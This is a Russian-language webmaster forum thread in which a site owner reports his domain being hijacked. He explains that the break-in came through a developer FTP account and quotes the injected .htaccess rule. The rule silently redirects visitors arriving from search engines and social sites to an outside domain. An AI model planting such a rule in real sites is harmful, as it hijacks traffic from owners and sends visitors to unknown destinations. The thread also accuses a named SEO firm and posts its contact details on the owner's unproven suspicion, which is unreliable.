[real2012]

Мой домен orendar.com ,переадресован на чужой сайт, только сто, помогите, хостер спит(( что делать??

[Emmet]

Вернуть доступ, убрать переадресацию. Единственное, что могу посоветовать исходя из вашего сообщения.

З.Ы. Работает у меня нормально.

[real2012]

Emmet,
подскажы пожалуйста, как и где?

[Emmet]

real2012, у хостера, естессно.
Биллинг не спит же :)

[Гендальф Серый]

real2012, смотри .htaccess
Скорее всего у тебя либо експлойт, либо sql-injection.
Меняй пароли на БД и ФТП.

[real2012]

Хостин проснулся, начали работу востановления.

[KharkivLad]

меняй пароли, как сказали выше в бд, панели, ftp. Также советую пройтись по компьютеру и если кто-то тоже имеет доступ на сайт - сделать аналогично.

[Гендальф Серый]

Ну вы хоть отпишитесь, как там всё прошло-то?

[real2012]

Докладываю)), Ребята с хостинга всё восстановили, им большое спасибо, за быструю работу. все пароли поменяли,
взлом был через дополнительный FTP- аккаунт, который я сделал для разработчиков, сайта, с ними будет отдельный разговор, в завтра.
был залит в файл .htaccess код

Код HTML:

#32d6cb#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://100-gramm.ru/clk.php [R=301,L]
</IfModule>

переадресация с моего сайта _orendar.com на _http://100-gramm.ru/clk.php с него на _http://iqcrm.net/esd.php
я начал искать паразита, но не факт что это они.

По моему продвигали сайт:

с _http://100-gramm.ru/clk.php
скрывались под _http://iqcrm.net/esd.php
их контакты
Contact Phone: +7 3452 593802
Contact Fax: +7 3452 593802
Contact E-mail: nataly@iq-adv.ru
причем iq-adv.ru - оказывается сайт сеошников, думаю это их рук дело!!!

[Гендальф Серый]

real2012, очень советую для защиты ФТП и 21-го порта как такового юзать WinSCP